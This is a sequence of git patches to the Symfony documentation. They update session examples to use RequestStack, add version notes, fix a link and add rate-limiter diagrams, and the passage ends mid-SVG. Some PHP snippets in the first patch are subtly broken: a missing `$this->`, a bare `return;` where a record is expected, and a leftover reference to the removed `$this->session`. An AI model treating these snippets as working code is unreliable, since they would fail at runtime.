From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Thu, 28 Jan 2021 19:20:54 +0100
Subject: [PATCH 1787/7107] Update documentation for deprecated session service

---
 components/http_foundation.rst     |  3 +-
 controller.rst                     |  2 +-
 logging/processors.rst             | 23 +++++++------
 quick_tour/the_architecture.rst    |  3 --
 security/access_denied_handler.rst |  7 ++--
 security/form_login_setup.rst      | 10 +-----
 service_container.rst              |  8 +----
 session.rst                        | 55 +++++++++++++++++++++---------
 session/locale_sticky_session.rst  | 10 +++---
 9 files changed, 64 insertions(+), 57 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 23d8e9a6809..e00f9dabb7b 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -247,7 +247,8 @@ Accessing the Session
 ~~~~~~~~~~~~~~~~~~~~~
 
 If you have a session attached to the request, you can access it via the
-:method:`Symfony\\Component\\HttpFoundation\\Request::getSession` method;
+:method:`Symfony\\Component\\HttpFoundation\\Request::getSession` method or the
+:method:`Symfony\\Component\\HttpFoundation\\RequestStack::getSession` method;
 the
 :method:`Symfony\\Component\\HttpFoundation\\Request::hasPreviousSession`
 method tells you if the request contains a session which was started in one of
diff --git a/controller.rst b/controller.rst
index 212d0a2b509..a5017452832 100644
--- a/controller.rst
+++ b/controller.rst
@@ -394,7 +394,7 @@ Request object.
 Managing the Session
 --------------------
 
-Symfony provides a session service that you can use to store information
+Symfony provides a session object that you can use to store information
 about the user between requests. Session is enabled by default, but will only be
 started if you read or write from it.
 
diff --git a/logging/processors.rst b/logging/processors.rst
index 8ba965327b2..c0a3eb33bbf 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -19,30 +19,33 @@ using a processor::
     // src/Logger/SessionRequestProcessor.php
     namespace App\Logger;
 
-    use Symfony\Component\HttpFoundation\Session\SessionInterface;
+    use Symfony\Component\HttpFoundation\Exception\SessionNotFoundException;
+    use Symfony\Component\HttpFoundation\RequestStack;
 
     class SessionRequestProcessor
     {
-        private $session;
-        private $sessionId;
+        private $requestStack;
 
-        public function __construct(SessionInterface $session)
+        public function __construct(RequestStack $requestStack)
         {
-            $this->session = $session;
+            $this->requestStack = $requestStack;
         }
 
         // this method is called for each log record; optimize it to not hurt performance
         public function __invoke(array $record)
         {
-            if (!$this->session->isStarted()) {
+            try {
+                $session = $requestStack->getSession();
+            } catch (SessionNotFoundException $e) {
+                return;
+            }
+            if (!$session->isStarted()) {
                 return $record;
             }
 
-            if (!$this->sessionId) {
-                $this->sessionId = substr($this->session->getId(), 0, 8) ?: '????????';
-            }
+            $sessionId = substr($session->getId(), 0, 8) ?: '????????';
 
-            $record['extra']['token'] = $this->sessionId.'-'.substr(uniqid('', true), -8);
+            $record['extra']['token'] = $sessionId.'-'.substr(uniqid('', true), -8);
 
             return $record;
         }
diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index d88bb5d32ed..e3b388a0bc4 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -72,9 +72,6 @@ What other possible classes or interfaces could you use? Find out by running:
       Request stack that controls the lifecycle of requests.
       Symfony\Component\HttpFoundation\RequestStack (request_stack)
 
-      Interface for the session.
-      Symfony\Component\HttpFoundation\Session\SessionInterface (session)
-
       RouterInterface is the interface that all Router classes must implement.
       Symfony\Component\Routing\RouterInterface (router.default)
 
diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index 42ee7fe5dd9..2a7566fafed 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -28,7 +28,6 @@ unauthenticated user tries to access a protected resource::
 
     use Symfony\Component\HttpFoundation\RedirectResponse;
     use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\HttpFoundation\Session\SessionInterface;
     use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
     use Symfony\Component\Security\Core\Exception\AuthenticationException;
     use Symfony\Component\Security\Http\EntryPoint\AuthenticationEntryPointInterface;
@@ -36,18 +35,16 @@ unauthenticated user tries to access a protected resource::
     class AuthenticationEntryPoint implements AuthenticationEntryPointInterface
     {
         private $urlGenerator;
-        private $session;
 
-        public function __construct(UrlGeneratorInterface $urlGenerator, SessionInterface $session)
+        public function __construct(UrlGeneratorInterface $urlGenerator)
         {
             $this->urlGenerator = $urlGenerator;
-            $this->session = $session;
         }
 
         public function start(Request $request, AuthenticationException $authException = null): RedirectResponse
         {
             // add a custom flash message and redirect to the login page
-            $this->session->getFlashBag()->add('note', 'You have to login in order to access this page.');
+            $request->getSession()->getFlashBag()->add('note', 'You have to login in order to access this page.');
 
             return new RedirectResponse($this->urlGenerator->generate('security_login'));
         }
diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index c7ea359c459..1d269eba380 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -477,7 +477,6 @@ whenever the user browses a page::
     namespace App\EventSubscriber;
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
-    use Symfony\Component\HttpFoundation\Session\SessionInterface;
     use Symfony\Component\HttpKernel\Event\RequestEvent;
     use Symfony\Component\HttpKernel\KernelEvents;
     use Symfony\Component\Security\Http\Util\TargetPathTrait;
@@ -486,13 +485,6 @@ whenever the user browses a page::
     {
         use TargetPathTrait;
 
-        private $session;
-
-        public function __construct(SessionInterface $session)
-        {
-            $this->session = $session;
-        }
-
         public function onKernelRequest(RequestEvent $event): void
         {
             $request = $event->getRequest();
@@ -504,7 +496,7 @@ whenever the user browses a page::
                 return;
             }
 
-            $this->saveTargetPath($this->session, 'main', $request->getUri());
+            $this->saveTargetPath($request->getSession(), 'main', $request->getUri());
         }
 
         public static function getSubscribedEvents()
diff --git a/service_container.rst b/service_container.rst
index e3db328033b..98fb5e61318 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -62,9 +62,6 @@ What other services are available? Find out by running:
       Request stack that controls the lifecycle of requests.
       Symfony\Component\HttpFoundation\RequestStack (request_stack)
 
-      Interface for the session.
-      Symfony\Component\HttpFoundation\Session\SessionInterface (session)
-
       RouterInterface is the interface that all Router classes must implement.
       Symfony\Component\Routing\RouterInterface (router.default)
 
@@ -80,7 +77,7 @@ in the container.
 .. tip::
 
     There are actually *many* more services in the container, and each service has
-    a unique id in the container, like ``session`` or ``router.default``. For a full
+    a unique id in the container, like ``request_stack`` or ``router.default``. For a full
     list, you can run ``php bin/console debug:container``. But most of the time,
     you won't need to worry about this. See :ref:`services-wire-specific-service`.
     See :doc:`/service_container/debug`.
@@ -283,9 +280,6 @@ type-hints by running:
       Request stack that controls the lifecycle of requests.
       Symfony\Component\HttpFoundation\RequestStack (request_stack)
 
-      Interface for the session.
-      Symfony\Component\HttpFoundation\Session\SessionInterface (session)
-
       RouterInterface is the interface that all Router classes must implement.
       Symfony\Component\Routing\RouterInterface (router.default)
 
diff --git a/session.rst b/session.rst
index 394cfece78b..3ccf47460b6 100644
--- a/session.rst
+++ b/session.rst
@@ -127,25 +127,26 @@ Check out the Symfony config reference to learn more about the other available
 Basic Usage
 -----------
 
-Symfony provides a session service that is injected in your services and
+The sessions is available througth the Request and the RequestStack.
+Symfony provides a request_stack service that is injected in your services and
 controllers if you type-hint an argument with
-:class:`Symfony\\Component\\HttpFoundation\\Session\\SessionInterface`::
+:class:`Symfony\\Component\\HttpFoundation\\RequestStack`::
 
-    use Symfony\Component\HttpFoundation\Session\SessionInterface;
+    use Symfony\Component\HttpFoundation\RequestStack;
 
     class SomeService
     {
-        private $session;
+        private $requestStack;
 
-        public function __construct(SessionInterface $session)
+        public function __construct(RequestStack $requestStack)
         {
-            $this->session = $session;
+            $this->requestStack = $requestStack;
         }
 
         public function someMethod()
         {
             // stores an attribute in the session for later reuse
-            $this->session->set('attribute-name', 'attribute-value');
+            $this->requestStack->getSession()->set('attribute-name', 'attribute-value');
 
             // gets an attribute by name
             $foo = $this->session->get('foo');
@@ -157,10 +158,10 @@ controllers if you type-hint an argument with
         }
     }
 
-.. tip::
+.. deprecated:: 5.3
 
-    Every ``SessionInterface`` implementation is supported. If you have your
-    own implementation, type-hint this in the argument instead.
+    The ``SessionInterface`` and ``session`` service are deprecated since
+    Symfony 5.3. Inject a request stack instead.
 
 Stored attributes remain in the session for the remainder of that user's session.
 By default, session attributes are key-value pairs managed with the
@@ -175,22 +176,44 @@ class.
 If your application needs are complex, you may prefer to use
 :ref:`namespaced session attributes <namespaced-attributes>` which are managed with the
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\NamespacedAttributeBag`
-class. Before using them, override the ``session`` service definition to replace
-the default ``AttributeBag`` by the ``NamespacedAttributeBag``:
+class. Before using them, override the ``session_listener`` service definition to build
+your ``Session`` object with the default ``AttributeBag`` by the ``NamespacedAttributeBag``:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
         # config/services.yaml
-        session:
-            public: true
-            class: Symfony\Component\HttpFoundation\Session\Session
-            arguments: ['@session.storage', '@session.namespacedattributebag']
+        session_listener:
+            autoconfigure: true
+            class: App\EventListener\SessionListener
+            arguments:
+            - !service_locator
+                logger: '@?logger'
+                session_collector: '@?data_collector.request.session_collector'
+                session_storage: '@session.storage'
+                session_attributes: '@session.namespacedattributebag'
+            - '%kernel.debug%'
 
         session.namespacedattributebag:
             class: Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag
 
+.. code-block:: php
+
+    namespace App\EventListener;
+
+    use Symfony\Component\HttpFoundation\Session\Session;
+    use Symfony\Component\HttpFoundation\Session\SessionInterface;
+    use Symfony\Component\HttpKernel\EventListener\AbstractSessionListener;
+
+    class SessionListener extends AbstractSessionListener
+    {
+        protected function getSession(): ?SessionInterface
+        {
+            return new Session($this->container->get('session_storage'), $this->container->get('session_attributes'));
+        }
+    }
+
 .. _session-avoid-start:
 
 Avoid Starting Sessions for Anonymous Users
diff --git a/session/locale_sticky_session.rst b/session/locale_sticky_session.rst
index 056f2a674cb..13d620381aa 100644
--- a/session/locale_sticky_session.rst
+++ b/session/locale_sticky_session.rst
@@ -146,7 +146,7 @@ event::
     namespace App\EventSubscriber;
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
-    use Symfony\Component\HttpFoundation\Session\SessionInterface;
+    use Symfony\Component\HttpFoundation\RequestStack;
     use Symfony\Component\Security\Http\Event\InteractiveLoginEvent;
     use Symfony\Component\Security\Http\SecurityEvents;
 
@@ -156,11 +156,11 @@ event::
      */
     class UserLocaleSubscriber implements EventSubscriberInterface
     {
-        private $session;
+        private $requestStack;
 
-        public function __construct(SessionInterface $session)
+        public function __construct(RequestStack $requestStack)
         {
-            $this->session = $session;
+            $this->requestStack = $requestStack;
         }
 
         public function onInteractiveLogin(InteractiveLoginEvent $event)
@@ -168,7 +168,7 @@ event::
             $user = $event->getAuthenticationToken()->getUser();
 
             if (null !== $user->getLocale()) {
-                $this->session->set('_locale', $user->getLocale());
+                $this->requestStack->getSession()->set('_locale', $user->getLocale());
             }
         }
 

From 98ebace2ecae3d409ce8e229b066fd9da21f5cd9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 29 Jan 2021 10:04:23 +0100
Subject: [PATCH 1788/7107] Tweak

---
 session.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/session.rst b/session.rst
index 3ccf47460b6..da265d739b9 100644
--- a/session.rst
+++ b/session.rst
@@ -160,8 +160,9 @@ controllers if you type-hint an argument with
 
 .. deprecated:: 5.3
 
-    The ``SessionInterface`` and ``session`` service are deprecated since
-    Symfony 5.3. Inject a request stack instead.
+    The ``SessionInterface`` and ``session`` service were deprecated in
+    Symfony 5.3. Instead, inject the ``RequestStack`` service to get the session
+    object of the current request.
 
 Stored attributes remain in the session for the remainder of that user's session.
 By default, session attributes are key-value pairs managed with the

From 8673801703a7ca8625357234a43e645bb9c49d6b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 29 Jan 2021 10:16:07 +0100
Subject: [PATCH 1789/7107] Added the versionadded directive

---
 console/coloring.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/console/coloring.rst b/console/coloring.rst
index 9412511e11f..7e77a090b25 100644
--- a/console/coloring.rst
+++ b/console/coloring.rst
@@ -54,6 +54,10 @@ Any hex color is supported for foreground and background colors. Besides that, t
 
     True (hex) color support was introduced in Symfony 5.2
 
+.. versionadded:: 5.3
+
+    Support for bright colors was introduced in Symfony 5.3.
+
 .. note::
 
     If the terminal doesn't support true colors, the nearest named color is used.

From 9d03c8f616eb9b9b473a51c7e8c0647e616a440f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 29 Jan 2021 10:19:15 +0100
Subject: [PATCH 1790/7107] [Semaphore] The component is no longer experimental
 in Symfony 5.3.

---
 components/semaphore.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/components/semaphore.rst b/components/semaphore.rst
index 614c38a6bd9..ebae3df89e8 100644
--- a/components/semaphore.rst
+++ b/components/semaphore.rst
@@ -10,8 +10,7 @@ The Semaphore Component
 
 .. versionadded:: 5.2
 
-    The Semaphore Component was introduced in Symfony 5.2 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
+    The Semaphore Component was introduced in Symfony 5.2.
 
 Installation
 ------------

From 36a5c1a2820bdcd9bd3aa65bb2774d99228c0495 Mon Sep 17 00:00:00 2001
From: Jon Green <jon@tjs.co.uk>
Date: Sun, 3 Jan 2021 17:22:23 +0000
Subject: [PATCH 1791/7107] [String] Feature 39178

Documentation update for [String] Feature 39178 "AsciiSlugger's symbolsMap should apply to all locales for a language".
---
 components/string.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/components/string.rst b/components/string.rst
index 97988fc0970..48f17f0b3e9 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -477,6 +477,12 @@ that only includes safe ASCII characters::
     $slug = $slugger->slug('10% or 5€');
     // $slug = '10-percent-or-5-euro'
 
+    // if there is no symbols map for your locale (e.g. 'en_GB') then the parent locale's symbols map
+    // will be used instead (i.e. 'en')
+    $slugger = new AsciiSlugger('en_GB', ['en' => ['%' => 'percent', '€' => 'euro']]);
+    $slug = $slugger->slug('10% or 5€');
+    // $slug = '10-percent-or-5-euro'
+
     // for more dynamic substitutions, pass a PHP closure instead of an array
     $slugger = new AsciiSlugger('en', function ($string, $locale) {
         return str_replace('❤️', 'love', $string);
@@ -490,6 +496,10 @@ that only includes safe ASCII characters::
 
     The feature to use a PHP closure to define substitutions was introduced in Symfony 5.2.
 
+.. versionadded:: 5.3
+
+    The feature to fallback to the parent locale's symbols map was introduced in Symfony 5.3.
+
 The separator between words is a dash (``-``) by default, but you can define
 another separator as the second argument::
 

From 584396620e9a269f63493ada18e372941d123a42 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Fri, 29 Jan 2021 14:22:21 +0100
Subject: [PATCH 1792/7107] Fix Connect URL

---
 contributing/documentation/overview.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index be7d3418c6e..460f1b62589 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -338,7 +338,7 @@ definitely don't want you to waste your time!
 .. _`GitHub`: https://github.com/
 .. _`fork the repository`: https://help.github.com/github/getting-started-with-github/fork-a-repo
 .. _`Symfony Documentation Contributors`: https://symfony.com/contributors/doc
-.. _`SymfonyConnect`: https://connect.symfony.com/
+.. _`SymfonyConnect`: https://symfony.com/connect/login
 .. _`Symfony Documentation Badge`: https://connect.symfony.com/badge/36/symfony-documentation-contributor
 .. _`SymfonyCloud`: https://symfony.com/cloud
 .. _`roadmap`: https://symfony.com/releases

From 1cdb6cb9079f5c0e2b709ab90294b08218b50831 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 17 Oct 2020 15:19:01 +0200
Subject: [PATCH 1793/7107] Added limiter diagrams

---
 _images/rate_limiter/fixed_window.svg         |  84 ++++++++++++++++++
 _images/rate_limiter/sliding_window.svg       |  65 ++++++++++++++
 _images/rate_limiter/token_bucket.svg         |  83 +++++++++++++++++
 _images/sources/rate_limiter/fixed_window.dia | Bin 0 -> 2356 bytes
 .../sources/rate_limiter/sliding_window.dia   | Bin 0 -> 2190 bytes
 _images/sources/rate_limiter/token_bucket.dia | Bin 0 -> 2752 bytes
 rate_limiter.rst                              |  52 +++++++++--
 7 files changed, 275 insertions(+), 9 deletions(-)
 create mode 100644 _images/rate_limiter/fixed_window.svg
 create mode 100644 _images/rate_limiter/sliding_window.svg
 create mode 100644 _images/rate_limiter/token_bucket.svg
 create mode 100644 _images/sources/rate_limiter/fixed_window.dia
 create mode 100644 _images/sources/rate_limiter/sliding_window.dia
 create mode 100644 _images/sources/rate_limiter/token_bucket.dia

diff --git a/_images/rate_limiter/fixed_window.svg b/_images/rate_limiter/fixed_window.svg
new file mode 100644
index 00000000000..83d5f6e79ac
--- /dev/null
+++ b/_images/rate_limiter/fixed_window.svg
@@ -0,0 +1,84 @@
+<svg width="400" viewBox="483 -171 463 177" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+  <g id="Background">
+    <g>
+      <rect style="fill: #b2dec7; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x="785" y="-140" width="125" height="120" rx="0" ry="0"/>
+      <text font-size="12.8" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:sans-serif;font-style:normal;font-weight:normal" x="847.5" y="-76.1187">
+        <tspan x="847.5" y="-76.1187"></tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #b2dec7; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x="670" y="-140" width="120" height="120" rx="0" ry="0"/>
+      <text font-size="12.8" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:sans-serif;font-style:normal;font-weight:normal" x="730" y="-76.1187">
+        <tspan x="730" y="-76.1187"></tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #b2dec7; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x="520" y="-140" width="120" height="120" rx="0" ry="0"/>
+      <text font-size="12.8" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:sans-serif;font-style:normal;font-weight:normal" x="580" y="-76.1187">
+        <tspan x="580" y="-76.1187"></tspan>
+      </text>
+    </g>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="505" y="0">
+      <tspan x="505" y="0">10:00</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="565" y="0">
+      <tspan x="565" y="0">10:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="625" y="0">
+      <tspan x="625" y="0">11:00</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="685" y="0">
+      <tspan x="685" y="0">11:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="745" y="0">
+      <tspan x="745" y="0">12:00</tspan>
+    </text>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="525" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="585" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="-135" width="19.3548" height="20" rx="0" ry="0"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="805" y="0">
+      <tspan x="805" y="0">12:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="865" y="0">
+      <tspan x="865" y="0">13:00</tspan>
+    </text>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="765" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="485" y1="-35" x2="945" y2="-35"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="505" y1="-45" x2="505" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="535" y1="-40" x2="535" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="565" y1="-45" x2="565" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="595" y1="-40" x2="595" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="625" y1="-45" x2="625" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="655" y1="-40" x2="655" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="685" y1="-45" x2="685" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="715" y1="-40" x2="715" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="745" y1="-45" x2="745" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="775" y1="-40" x2="775" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="805" y1="-45" x2="805" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="835" y1="-40" x2="835" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="865" y1="-45" x2="865" y2="-25"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="585" y="-105" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #ecbec0; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="-135" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="-105" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #ecbec0; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="765" y="-105" width="19.3548" height="20" rx="0" ry="0"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="580" y="-150">
+      <tspan x="580" y="-150">1 hour window</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="730" y="-150">
+      <tspan x="730" y="-150">1 hour window</tspan>
+    </text>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="675" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="-105" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="795" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="850" y="-150">
+      <tspan x="850" y="-150">1 hour window</tspan>
+    </text>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="895" y1="-40" x2="895" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="925" y1="-45" x2="925" y2="-25"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="925" y="0">
+      <tspan x="925" y="0">13:15</tspan>
+    </text>
+  </g>
+</svg>
diff --git a/_images/rate_limiter/sliding_window.svg b/_images/rate_limiter/sliding_window.svg
new file mode 100644
index 00000000000..2c565615441
--- /dev/null
+++ b/_images/rate_limiter/sliding_window.svg
@@ -0,0 +1,65 @@
+<svg width="400" viewBox="483 -171 463 177" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+  <g id="Background">
+    <g>
+      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x="610" y="-140" width="120" height="120" rx="0" ry="0"/>
+      <text font-size="12.7998" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:sans-serif;font-style:normal;font-weight:normal" x="670" y="-76.1189">
+        <tspan x="670" y="-76.1189"></tspan>
+      </text>
+    </g>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="505" y="0">
+      <tspan x="505" y="0">10:00</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="565" y="0">
+      <tspan x="565" y="0">10:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="625" y="0">
+      <tspan x="625" y="0">11:00</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="685" y="0">
+      <tspan x="685" y="0">11:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="745" y="0">
+      <tspan x="745" y="0">12:00</tspan>
+    </text>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="585" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="805" y="0">
+      <tspan x="805" y="0">12:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="865" y="0">
+      <tspan x="865" y="0">13:00</tspan>
+    </text>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="485" y1="-35" x2="945" y2="-35"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="505" y1="-45" x2="505" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="535" y1="-40" x2="535" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="565" y1="-45" x2="565" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="595" y1="-40" x2="595" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="625" y1="-45" x2="625" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="655" y1="-40" x2="655" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="685" y1="-45" x2="685" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="715" y1="-40" x2="715" y2="-30"/>
